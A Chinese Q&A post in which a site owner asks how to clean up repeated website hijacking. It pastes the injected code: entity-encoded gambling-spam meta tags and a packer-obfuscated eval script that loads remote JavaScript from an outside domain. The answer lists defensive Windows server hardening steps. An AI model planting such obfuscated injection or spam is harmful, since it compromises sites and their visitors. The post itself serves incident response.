网站挂马，总是挂这样的，怎么处理？<title>&#28595;&#38376;

Question

<title>&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#44;&#27704;&#21033;&#24320;&#25143;&#32593;&#22336;&#44;&#27704;&#21033;&#23089;&#20048;&#24320;&#25143;&#22336;&#44;&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#24179;&#21488;&#44;&#28595;&#38376;&#27704;&#21033;&#24179;&#21488;&#32593;&#31449;&#44;&#28595;&#27704;&#21033;&#24179;&#21488;&#20195;&#29702;&#44;&#28595;&#38376;&#27704;&#21033;&#36172;&#21338;&#32593;</title>
<meta name="keywords" content="&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#44;&#27704;&#21033;&#24320;&#25143;&#32593;&#22336;&#44;&#27704;&#21033;&#23089;&#20048;&#24320;&#25143;&#22336;&#44;&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#24179;&#21488;&#44;&#28595;&#38376;&#27704;&#21033;&#24179;&#21488;&#32593;&#31449;&#44;&#28595;&#27704;&#21033;&#24179;&#21488;&#20195;&#29702;&#44;&#28595;&#38376;&#27704;&#21033;&#36172;&#21338;&#32593;" />
<meta name="description" content="&#28595;&#38376;&#23041;&#23612;&#26031;&#20154;&#12304;&#119;&#119;&#119;&#46;&#48;&#57;&#56;&#51;&#52;&#53;&#54;&#46;&#99;&#111;&#109;&#12305;&#25658;&#25163;&#28595;&#38376;&#32593;&#25237;&#25285;&#20445;&#32593;&#12304;&#119;&#119;&#119;&#46;&#115;&#104;&#98;&#55;&#55;&#55;&#46;&#99;&#111;&#109;&#12305;&#49;&#48;&#48;&#20159;&#24040;&#36164;&#25171;&#36896;&#26368;&#39030;&#32423;&#30340;&#32447;&#19978;&#21338;&#24425;&#23089;&#20048;&#24179;&#21488;&#44;&#25910;&#38598;&#19978;&#30334;&#23478;&#36164;&#36136;&#19968;&#27969;&#30340;&#21338;&#24425;&#24179;&#21488;&#44;&#22343;&#36890;&#36807;&#33778;&#23486;&#21338;&#24425;&#30417;&#23519;&#23616;&#21512;&#27861;&#32463;&#33829;&#35748;&#35777;&#44;&#24182;&#20132;&#32435;&#49;&#20159;&#30340;&#20445;&#35777;&#44;&#23562;&#25964;&#30340;&#29609;&#23478;&#23613;&#21487;&#25918;&#24515;&#30340;&#21338;&#24425;&#28216;&#25103;&#65281;&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#44;&#27704;&#21033;&#24320;&#25143;&#32593;&#22336;&#44;&#27704;&#21033;&#23089;&#20048;&#24320;&#25143;&#22336;&#44;&#28595;&#38376;&#27704;&#21033;&#24320;&#25143;&#24179;&#21488;&#44;&#28595;&#38376;&#27704;&#21033;&#24179;&#21488;&#32593;&#31449;&#44;&#28595;&#27704;&#21033;&#24179;&#21488;&#20195;&#29702;&#44;&#28595;&#38376;&#27704;&#21033;&#36172;&#21338;&#32593;" />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.5("<0 6=1://2.3.a/b.c 7=8/9></0>");',13,13,'script|https|www|anyaoying|document|writeln|src|type|text|javascript|pw|shb|js'.split('|'),0,{}))
</script>

Answer 1

windows server 碰到此类问题，我一般先从以下几个着手做基本防御

1. windows远程连接的默认端口3389 改成其他，比如16666

2. 打开防火墙，只开放对外的端口 比如80，16666等等

3. 排查进程是否有可疑的，找到进程文件，然后结束进程，想办法删除文件

4. 排查windows任务计划里是否有可疑的定时任务

5. 虚拟主机对应的文件夹给最小的权限，可以参考https://technet.microsoft.com...这个官方的设置帮助文档

6. 排查程序所有upload的功能，是否有漏洞，以及排查已经上传的文件是否有伪装为jpg之类的可执行文件

7. 排查后台程序入口是否非常容易猜到，比如/admin

8. 排查后台程序管理员是否弱密码等等

9. 检查所有程序文件，删除非项目中的文件